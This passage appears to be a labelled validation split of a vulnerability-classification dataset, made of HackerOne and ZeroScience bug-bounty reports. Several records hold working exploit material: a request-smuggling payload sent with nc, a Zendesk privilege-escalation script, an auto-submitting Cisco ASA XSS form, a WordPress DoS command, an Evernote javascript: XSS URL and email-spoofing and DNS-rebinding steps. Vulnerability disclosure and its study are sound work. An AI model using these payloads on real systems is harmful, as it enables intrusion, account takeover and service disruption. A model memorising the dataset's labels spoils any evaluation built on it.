CApath: /etc/ssl/certs\n* TLSv1.0 (OUT), TLS header, Certificate Status (22):\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.2 (IN), TLS header, Certificate Status (22):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.2 (IN), TLS header, Finished (20):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.2 (OUT), TLS header, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384\n* ALPN: server accepted h2\n* Server certificate:\n*  subject: CN=accounts.google.com\n*  start date: Sep 12 08:19:34 2022 GMT\n*  expire date: Dec  5 08:19:33 2022 GMT\n*  subjectAltName: host \"accounts.google.com\" matched cert's \"accounts.google.com\"\n*  issuer: C=US; O=Google Trust Services LLC; CN=GTS CA 1C3\n*  SSL certificate verify ok.\n* Using HTTP2, server supports multiplexing\n* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* h2h3 [:method: GET]\n* h2h3 [:path: /]\n* h2h3 [:scheme: https]\n* h2h3 [:authority: accounts.google.com]\n* h2h3 [user-agent: curl/7.85.0]\n* h2h3 [accept: */*]\n* Using Stream ID: 1 (easy handle 0x5580b5b3d690)\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n> GET / HTTP/2\n> Host: accounts.google.com\n> user-agent: curl/7.85.0\n> accept: */*\n>\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n* old SSL session ID is stale, removing\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n< HTTP/2 302\n\nthe rest of the information is omitted\n\n```\n\nWhen IDN convert(1):\n```\n# curl -v --hsts hsts.txt http://accounts.google.com。\n*   Trying 142.251.42.141:80...\n* Connected to accounts.google.com。 (142.251.42.141) port 80 (#0)\n> GET / HTTP/1.1\n> Host: accounts.google.com.\n> User-Agent: curl/7.85.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 301 Moved Permanently\n< Cache-Control: private\n< Content-Type: text/html; charset=UTF-8\n< Referrer-Policy: no-referrer\n< Location: http://accounts.google.com/\n< Content-Length: 224\n< Date: Tue, 11 Oct 2022 16:28:28 GMT\n<\n<HTML><HEAD><meta http-equiv=\"content-type\" content=\"te", "source": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "1e6ec1bd6438badcb726", "text": "[Unknown] [Java]: Flow sources and steps for JMS and RabbitMQ\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-05-23", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d44e2d6dc8a02ce90741", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding (improper fix for CVE-2022-32215)\n\n**Summary:**\nDue to an incomplete fix for CVE-2022-32215, the `llhttp` parser in the `http` module in Node v16.16.0 and 18.7.0  still does not correctly handle multi-line Transfer-Encoding headers. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** [add more details about this vulnerability]\n\nWe have identified that the root issue of CVE-2022-32215 (that was [reported here](https://hackerone.com/reports/1501679)) was seemingly not fixed at all. Running the same exploit produces the same unwanted result. For the sake of brevity, I won't repeat the description, it can be seen in the [original issue](https://hackerone.com/reports/1501679). \n\n## Steps To Reproduce:\n\nThe reproduction steps are the same from the original issue\n\n#### Testing Server\n\nRun the following server (`node server.js`):\n```js\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n   let body = [];\n   request.on('error', (err) => {\n   response.end(\"error while reading body: \" + err)\n   }).on('data', (chunk) => {\n      body.push(chunk);\n   }).on('end', () => {\n   body = Buffer.concat(body).toString();\n   \n   response.on('error', (err) => {\n      response.end(\"error while sending response: \" + err)\n   });\n\n   response.end(JSON.stringify({\n         \"Headers\": request.headers,\n         \"Length\": body.length,\n         \"Body\": body,\n      }) + \"\\n\");\n   });\n}).listen(80);\n```\n\n#### Payload\n\n```\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n\"Host: 127.0.0.1\\r\\n\"\\\n\"Transfer-Encoding: chunked\\r\\n\"\\\n\" , chunked-false\\r\\n\"\\\n\"\\r\\n\"\\\n\"1\\r\\n\"\\\n\"A\\r\\n\"\\\n\"0\\r\\n\"\\\n\"\\r\\n\"\\\n\"GET /flag HTTP/1.1\\r\\n\"\\\n\"Host: 127.0.0.1\\r\\n\"\\\n\"foo: x\\r\\n\"\\\n\"\\r\\n\"\\\n\"\\r\\n\" | nc localhost 80\n```\n\n#### Output\n\n```\nHTTP/1.1 200 OK\nDate: Sun, 06 Mar 2022 03:34:05 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 101\n\n{\"Headers\":{\"transfer-encoding\":\"chunked , chunked-false\"},\"Length\":1,\"Body\":\"A\"}\nHTTP/1.1 200 OK\nDate: Sun, 06 Mar 2022 03:34:05 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 64\n\n{\"Headers\":{\"host\":\"127.0.0.1\", \"foo\":\"x\"},\"Length\":0,\"Body\":\"\"}\n```\n\nAs you can see, the payload was parsed as two requests (POST to / , and GET to /flag) which is erroneous behavior (the first request was parsed as a chunked request, which is wrong)\n\nThe expected output should be -\n```\nHTTP/1.1 400 Bad Request\nConnection: close\n```\n\n## Supporting Material/References:\n\nExploitation of the issue on Node 16.16.0 -\n{F1861233}\n\n## Credit\n\nThe vulnerability was discovered by Liav Gutman of the JFrog CSO Team\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "source": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ecb1c35f6fe74541d831", "text": "[Privilege Escalation] Privilege escalation - Support-Contributor to Support and Product Admin via `/api/v2/██████` . No ADMIN PRIVILEGE required.\n\nHello team, I am reporting another privilege escalation issue where a lowest privilege member(Support-Contributor) to full Support and Product administrator.  Tested in Zendesk Enterprise(Sponsored) and Trial Account.\n\nFrom my past reports I was able to find privilege escalation issues on the endpoint `/api/███` . The difference is, to perform a privilege escalation on the said endpoint, there should be at least one Product Admin privilege on the actor's account but this report does not require any Admin privilege(just the lowest privilege alone).\n\n## Summary:\nThe [Contributor Role](https://support.zendesk.com/hc/en-us/articles/4408832171034-About-team-member-product-roles-and-access) is the lowest Support role in Zendesk. In the UI alone, as a contributor, the accessible pages and and endpoints are very limited. With this role, the members page is not even accessible or restricted. With these restrictions, escalating your own role seem to be impossible.\n\n##Improper Access Control to Privilege Escalation\nVulnerable Endpoint: `PUT /api███ HTTP/2`\n\nThe `/api████████` endpoint is used for API integration to █████. █████████ . However, the said endpoint does not validate the privilege of the user who is sending a request. With this bug, a member with even just the lowest privilege(Contributor) is able to escalate any members' privilege to `FULL ADMINISTRATOR` including its own privilege.\n\n## Browsers Verified In:\nLatest version of Chrome and Firefox\n\n##Exploit\n```javascript\n//Exploit\n//get csrf token and id\nvar xhttp = new XMLHttpRequest();\nxhttp.onreadystatechange = function() {\n    if (this.readyState == 4 && this.status == 200) {\n        var profile = JSON.parse(this.responseText);\n        var csrf = profile.user.authenticity_token;\n\t\tvar id = profile.user.id;\n        escalate(id, csrf);\n    }\n};\n\nxhttp.open(\"GET\", \"https://\" + document.domain + \"/api/v2/users/me.json\");\nxhttp.send();\n\n\n//privilege escalation function\nfunction escalate(id, csrf) {\n    var xhttp = new XMLHttpRequest();\n    xhttp.onreadystatechange = function() {\n        if (this.readyState == 4 && this.status == 200) {\n            console.log(this.responseText);\n        }\n    };\n\n    xhttp.open(\"PUT\", \"https://\" + document.domain + \"/api██████;\n    xhttp.setRequestHeader(\"X-Csrf-Token\", csrf);\n    xhttp.setRequestHeader(\"Content-Type\", \"application/json\");\n    xhttp.send(JSON.stringify(███));\n}\n```\n\n## Steps To Reproduce:\n`On owner/admin account`\n1. Go to https://<domain>.zendesk.com/admin/people/team/members/new\n2. Provide the name and email of the agent\n3. Click Next\n4. Set the Support role to CONTRIBUTOR\n5. Go to https://<domain>.zendesk.com/admin/people/team/members\n6. Click the profile on the invited user\n7. Now set the roles to Support-Contributor only and `DISABLE` any product access(just to prove that no other privilege is required).\n\n`On invited user`\n8. You will receive an email. Click it to accept the invitation\n9. Login the invited account\n10. Execute the exploit to escalate your privileges.\n\n## Demo And PoC\nOn Enterprise account\n███\nOn Trial account\n███\n\n## Impact\n\nPrivilege escalation - Support-Contributor to Support and Product Admin.", "source": "hackerone", "timestamp": "2023-12-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b024348a01c882a5f176", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2020-3580\n\nHello Team,\nDuring my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n\n## Impact\n\nWith this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\nCisco ASA\n\n## CVE Numbers\nCVE-2020-3580\n\n## Steps to Reproduce\n<html>\n  <body>\n  <script>history.pushState('', '', '/')</script>\n    <form action=\"https://████/+CSCOE+/saml/sp/acs?tgname=a\" method=\"POST\">\n      <input type=\"hidden\" name=\"SAMLResponse\" value=\"&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&apos;XSS&apos;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"\" value=\"\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n\n## Suggested Mitigation/Remediation Actions\nPatch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe", "source": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "521b090e2166779265fb", "text": "[Uncontrolled Resource Consumption] DoS at █████(CVE-2018-6389)\n\n**Description:**\n\nUnauthenticated attackers can cause a denial of service (resource consumption) listing a large number of registered .js files (from wp-includes/script-loader.php)\n\nVulnerable Url : https://██████████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n**Vulnerability**\n\nAn attacker can now use the below tool to implement the attack\n- https://github.com/quitten/doser.py\ncommand : python3 doser.py -g \"https://██████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jq", "source": "hackerone", "timestamp": "2023-03-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3bad45c9444c9158aa3c", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection on password confirmation modal\n\nHi Team,\n\nI hope you are doing well.\n\nI found a vulnerability in Next cloud , let's exploit\n\nI am not reporting this for every feature in different different report , please increase the severity in single Report. \n\nVulnerability Name :- Lack of Rate limit While Generating Backup code , Deleting Account , Profile Updating\n\nVulnerability Description :- Hi Team , there is no rate limit while sending request to  Generating Backup code , Deleting Account , Profile Updating endpoint that leads to bypass the password protection and even attacker can view current password of user.\n\nSteps to Reproduce :- 1. Signup with an provider and verify your account.\n2. Once verified --> Go to Settings --> Security.\n3. Click on Generate Backup code , enable password less authentication , Update Profile  it asks for password for authentication.\n4. Enter Random Password --> Capture this request n burp suite.\n5. Sent this to intruder and select password position and select Payload type as Brute Force.\n6. Click on Attack.\n7. Boom! On correct password you got response 200 ok and for incorrect you got 403 Forbidden.\n\nReference Report Next cloud team resolved previously :- #1596673\n\n## Impact\n\nPassword protected Authentication Bypass.\n2. Attacker able to know the user current password in cleartext and able to takeover the account if they are at same place or someone forgot to logout from public PC also.\n\nPOC Attached\n\nIf you need further info I am here to help you.\nThanks and Regards,\nBhaRat", "source": "hackerone", "timestamp": "2023-03-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b244251220554a99ec86", "text": "[Misconfiguration] Create miscellaneous support ticket on anyone's account through support@hackerone.com email\n\n**Summary:**\nI hope you're well,\nHackerone recently changed from Zendesk to Freshdesk , that introduced this vulnerability , This asset is not in scope but the reason I'm reporting this because of the severity of this vulnerability as this can cause high impact on integrity of support desk.\n\n**Description:**\nThis vulnerability is similar to my previous finding [on Dropbox program](https://infosecwriteups.com/mail-server-misconfiguration-leads-to-sending-a-fax-from-anyones-account-on-hellofax-dropbox-bbp-aab3d97ab4e7?source=user_profile---------0----------------------------]) , So when we create a support ticket by sending email to support@hackerone.com then it creates a support ticket on Hackerone Support portal on Victim's support center account , I found that we can create support ticket on anyone's  by sending a fake email to support@hackerone.com , by putting victim's email in `FROM` field. This would create a support ticket on victim's account , attacker can use this to create miscellaneous tickets on anyone's account or they can create ticket on behalf of **Hackerone** staff. You can check the ticket (441828) , I created this ticket by sending a fake email.\nWe can use any fake emailer service for e.g https://emkei.cz/\n\n### Steps To Reproduce\n\n1. Go to https://emkei.cz/\n2. Put victim's email in `From E-mail:\t` field and support@hackerone.com in `To:` field\n3. Enter anything in name , content , subject and click Send\n\n██████\n\n* Now a ticket would be created on behalf of victim\n\n## Impact\n\n* Using this bug an attacker can create miscellaneous tickets on behalf of victim or create unnecessary noise on victim's support desk account\n* Attacker can create internal ticket on behalf of HackerOne employees\n\nBest Regards\n**Sayaan Alam**", "source": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6c1875badbd2dfed9246", "text": "MiniDVBLinux 5.4 Remote Root Command Execution Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "df5cd4a08f3083f7505d", "text": "[Cross-site Scripting (XSS) - Generic] XSS in Acronis Cloud Manager Admin Portal\n\nHello,\n\nHope you are doing well. I wanted to report the following security vulnerability:\n\nThe Acronis Cloud Manager Admin Portal default swagger UI is vulnerable to cross site scripting. I have the API running locally on my machine. I have attached screenshots of the XSS\n\nThe URL is:\nhttps://localhost:16080/swagger/index.html?url=███/xss/index.html\n\nDocumentation on how to access the API is available here:\nhttps://kb.acronis.com/content/64702\n\nIf you would like to reproduce this, you need to setup the Cloud Manager admin portal. To do so, you can take the following steps:\n1) Download the cloud manager here (free trial): https://www.acronis.com/en-us/products/cloud-manager/\nOnce you do that, you will need to install the Acronis Cloud Manager console and the Acronis Cloud Manager web portal. The guide is available here:\n\nhttps://dl.acronis.com/u/rc/GSG_AcronisCloudManager_5.0_EN-US.pdf?fbclid=IwAR0yOcDjRDPgkXlwNX5Qj0-B4wjOK2d9s76IipnmE_jZiRY_2CSZy3AuJMk\n\nI recommend unzipping the download file in the email and installing this directly on a Windows system rather than using the ISO. I think that will be easier.\n\nIn order to get those setup, you need a valid database to connect to. You can use the following links to get one setup.\n2) Download sql server express  (https://go.microsoft.com/fwlink/?linkid=866658)\n3) Download sql server management studio (https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)\n\nOnce you have it sql server setup, you need to create a user that you can use to connect to the database from the Acronis setup guide, to get everything working. Once it is setup, the default swagger url available to all installations, is vulnerable to XSS.\n\n## Impact\n\nThe swagger site allows you to enter in different credentials to test API methods via the Authorize Button on the right side. The methods in scope are very sensitive based on the nature of this application and generally only admins would be testing the API methods with their credentials.\n\nWith XSS here we would have the opportunity to target admin users and access very sensitive data. More information on XSS is available here: https://www.packetlabs.net/cross-site-scripting-xss/\n\nIf someone were to deploy this API to the cloud or another location, it would be an easy target. Right now I just have it running locally.\n\nThe swagger instance running is using an older version of dom-purfiy. If you upgrade the instance, that should fix this issue.\n\nLet me know if you have questions. Thanks!\nBen", "source": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "9c3a01f27a4bae876d9c", "text": "[Improper Access Control - Generic] Talk Android broadcast receiver is not protected by broadcastPermission allowing malicious apps to communicate\n\n## Summary:\nCall to registerReceiver misses the broadcastPermission argument - no permissions will be checked for the broadcaster, which allows a malicious application to communicate with the broadcast receiver.\n\n## Supporting Material/References:\n\n  * Screenshot Snyk report\n * references to fixes in other repos\n\nhttps://github.com/alvinhkh/buseta/commit/6b791de8e3622ef157b065f9c82fcfd5a0e2302a?diff=split#diff-a75527f97c6732197964c1dbf30fd385L66\n\nhttps://github.com/serso/android-messengerpp/commit/1528fdc2d3561bab192dfde9a84a737a26a19fce?diff=split#diff-7ff52f2abe79bd0a68d54916fe71aef2L92\n\nhttps://github.com/irccloud/android/commit/857287d6d9da443b0ff667505d5bf4a383922784?diff=split#diff-f06bf5e27b9130d322139330f7f31997L40\n\n## Impact\n\nUnsure, potentially interfere with call starts and audio/bluetooth setup", "source": "hackerone", "timestamp": "2022-12-25", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "c53c17cc4e0525c8173a", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS in the shared note view on https://evernote.com\n\n## Summary:\n\nThere is a reflected XSS vulnerability on https://evernote.com, in the shared web note view, triggered through the ```view``` and ```ionUrl``` parameters of the ***/shard/s[SHARD_NUMBER]/client/snv*** endpoint.\n\n## Description:\n\n\nWhen a user creates a note and shares it, it is stored in the following endpoint, being accessible by its ```GUID``` and generated ```KEY```: ***https://www.evernote.com/shard/s[SHARD_NUMBER]/sh/[NOTE_GUID]/[NOTE_KEY]***.\n\nThe above link redirects to another generated link this is going to be used to access the ressource in the web note viewer, and has the following format:\n***https://www.evernote.com/shard/s[SHARD_NUMBER]/client/snv?noteGuid=[NOTE_GUID]&noteKey=[NOTE_KEY]&sn=[PREVIOUS_LINK]&title=[NOTE_TITLE]***\n\nWhen accessing from this web note viewer link, a script named ***main.68d4af6d45d9dcaab6e6.js*** is fetched from ***https://dashboard.svc.www.evernote.com/app/nv/***, used to format and display the note properly.\n\nAfter analyzing this file, we can observe at line 3353 of this script (beautify the script first) a function named ```renderWithContext()``` that handles different ways of rendering the note:\n\n```javascript\nrenderWithContext() {\n    switch (this.view) {\n\t\tcase \"content-unavailable\":\n\t\t\treturn this.renderContentUnavailable({\n\t\t\t\theader: this.state.i18n.t(\"SharedNote.contentUnavailable.info\"),\n\t\t\t\tbody: this.state.i18n.t(\"SharedNote.contentUnavailable.downloadInfo\")\n\t\t\t});\n\t\tcase \"saved\":\n\t\t\treturn this.renderContentUnavailable({\n\t\t\t\theader: this.state.i18n.t(\"SharedNote.contentUnavailable.savedOnMobile.info\"),\n\t\t\t\tbody: this.state.i18n.t(\"SharedNote.contentUnavailable.savedOnMobile.downloadInfo\")\n\t\t\t});\n\t\tcase \"notelink\":\n\t\t\treturn this.renderNoteLinkView();\n\t\tcase \"after-save-note\":\n\t\t\treturn this.renderAfterSaveNoteView()\n\t}\n\tconst { embedMode: e } = this.state;\n\treturn e ? this.renderContent() : o.createElement(\"div\", {\n\t\tclassName: Gn.appContainer\n\t}, this.renderHeader(), this.renderContent())\n}\n```\n\nSince the ```this``` object represent the current URL parameters, the switch statement ```switch (this.view)``` gives away that we can reach this function by adding a ```view``` parameter in the URL. \n\nThe vulnerable case here is ```after-save-note```. Here is what the ```renderAfterSaveNoteView()``` function looks like:\n\n```javascript\nrenderAfterSaveNoteView() {\n\tif (W())\n\t\tif (R.isMobile) {\n\t\t\tconst e = oe(R.isMobile);\n\t\t\te && (window.location.href = e)\n\t\t} else {\n\t\t\tconst e = function () {\n\t\t\t\tconst e = W();\n\t\t\t\tlet n = e && e.ionUrl;\n\t\t\t\treturn n && -1 === n.indexOf(J.baseUrl) ? null : n\n\t\t\t}();\n\t\t\te && (window.location.href = e)\n\t\t}\n\treturn null\n}\n```\n\nWe can observe line 12 that this script sets the ```window.location.href ``` attribute to the variable ```e```.  As line 9 shows, we also control this variable ```e``` as it represents an additional parameter we have to add in the URL: ```ionUrl```.\n\nHowever, we can see at line 10 a security measure that will try to prevent attacker from setting the ```window.location.href``` attribute to anything outside evernote.com: ```J.baseUrl``` contains the value \"https://www.evernote.com/\". This line basically checks if the substring \"https://www.evernote.com/\" is present in the provided ```ionUrl``` URL parameter.\n\nThat's where the vulnerability resides; it only checks if the substring \"https://www.evernote.com/\" is in the provided ```ionUrl``` URL parameter, but not that it starts by it.\n\n**I was then able to execute javascript by passing the following payload to ```ionUrl``` : ```javascript:alert(document.cookie)//https://www.evernote.com/```, using javascript comments to comment-out the evernote link (and setting ```view``` to ```after-save-note``` in order to reach this function).**\n\nHere is the POC that will display current cookies in an alert box:\nhttps://www.evernote.com/shard/s1/client/snv?view=after-save-note&ionUrl=javascript:alert(document.cookie)//https://www.evernote.com/\n\n***The link to the note doesn't", "source": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3759f7beb8b5d0408435", "text": "[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2022-32212 affecting macOS devices)\n\n**Summary:** This is an insufficient fix of CVE-2022-32212, which itself is a fix of CVE-2018-7160. There exists a specific behaviour in browsers on macOS devices when handling the `http://0.0.0.0`URL that allows an attacker-controlled DNS server to bypass the DNS rebinding protection by resolving hosts in the `.local` domain.\n\n**Description:** \n\nIn the latest version, only IP addresses and `localhost` are allowed in the `Host` header when connecting to the debugger endpoint. `IsIPAddress` ensures that IPv4 address octets only contain values ranging from 0 to 255, but this allows `0.0.0.0` [which indicates an invalid or unroutable target](https://en.wikipedia.org/wiki/0.0.0.0). \n\nIn macOS devices, using `fetch(\"http://0.0.0.0\")`or opening `http://0.0.0.0` through a top-level navigation in Chrome and Firefox will cause a DNS request to resolve `<Computer Name>.local`, where Computer Name is configured in the system preferences (the use of the `.local` TLD is a known [feature](https://blog.scottlowe.org/2006/01/04/mac-os-x-and-local-domains) of macOS devices). If such a request succeeds, `http://0.0.0.0` is routed to the IP address provided in the DNS reply. This would typically be the same as the IP address of the device on the local network, so `http://0.0.0.0` will typically route to any application listening on the local interface - working as intended.\n\nAn attacker-controlled DNS server can, however, resolve `<Computer Name>.local` to any arbitrary IP address, and consequently cause the victim's browser to load arbitrary content at `http://0.0.0.0`. This allows the attacker to bypass the DNS rebinding protection.\n\nNote: On Windows devices, `http://0.0.0.0` is treated as an invalid URL and the request is blocked.\n\n## Steps To Reproduce:\n\n### General Attack Flow\n\n1. Victim runs node with --inspect option\n2. Victim visits attacker's webpage\n3. The attacker's webpage opens `http://0.0.0.0:9229`\n4. Victim asks the DNS server for `<Computer Name>.local` and gets <attacker's-IP>.\n5. Victim loads webpage `http://0.0.0.0:9229` from <attacker's-IP>.\n6. The webpage `http://0.0.0.0:9229` tries to load `http://0.0.0.0:9229/json`.\n7. Due to a short TTL, the DNS server will be soon asked again about an entry for `<Computer Name>.local`. This time, the DNS server responds with \"127.0.0.1\".\n8. The `http://0.0.0.0:9229` website (i.e., the one hosted on <attacker's IP>) will retrieve `http://0.0.0.0:9229/json` from 127.0.0.1, including webSocketDebuggerUrl.\n9. Now, the attacker knows the webSocketDebuggerUrl and can connect to it using WebSocket. Note that WebSocket is not restricted by same-origin policy. By doing so, they can gain the privileges of the Node.js instance.\n\nVulnerable code segment: https://github.com/nodejs/node/blob/d9b71f4c241fa31cc2a48331a4fc28c15937875a/src/inspector_socket.cc#L164-L183\n\n### DNS Setup\n\nIn this example I used [dnsmasq](https://thekelleys.org.uk/dnsmasq/doc.html) as my DNS server. You can use {F1816108} for a minimal Docker setup that demonstrates the arbitrary resolution of `<Computer Name>.local` domains. The `hosts` file should be changed according to the configured Computer Name of the victim device (through system preferences). For example, my Computer Name is `Zeyu’s MacBook Pro`, which means I had the `Zeyus-Macbook-Pro.local` domain.\n\n```\n# Resolve <Computer Name>.local to any IP address\n1.1.1.1 Zeyus-Macbook-Pro.local\n```\n\nWhen connecting to `http://0.0.0.0`, the page is loaded from `1.1.1.1` instead.\n\n{F1816116}\n\nIf you observe the network traffic while connecting to `http://0.0.0.0`, you should see the relevant DNS requests and replies.\n\n{F1816134}\n\nSubsequently `<Computer Name>.local` can be rebinded to `127.0.0.1`, causing the page to be loaded from `127.0.0.1` where the debugger is listening.\n\n{F1816125}\n\n## Suggested Remediation\n\n[According to IANA](https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml), `0.0.0.0/8` is a reser", "source": "hackerone", "timestamp": "2022-09-28", "split": "val", "label_source": "within_source_cve_index", "label": 1}
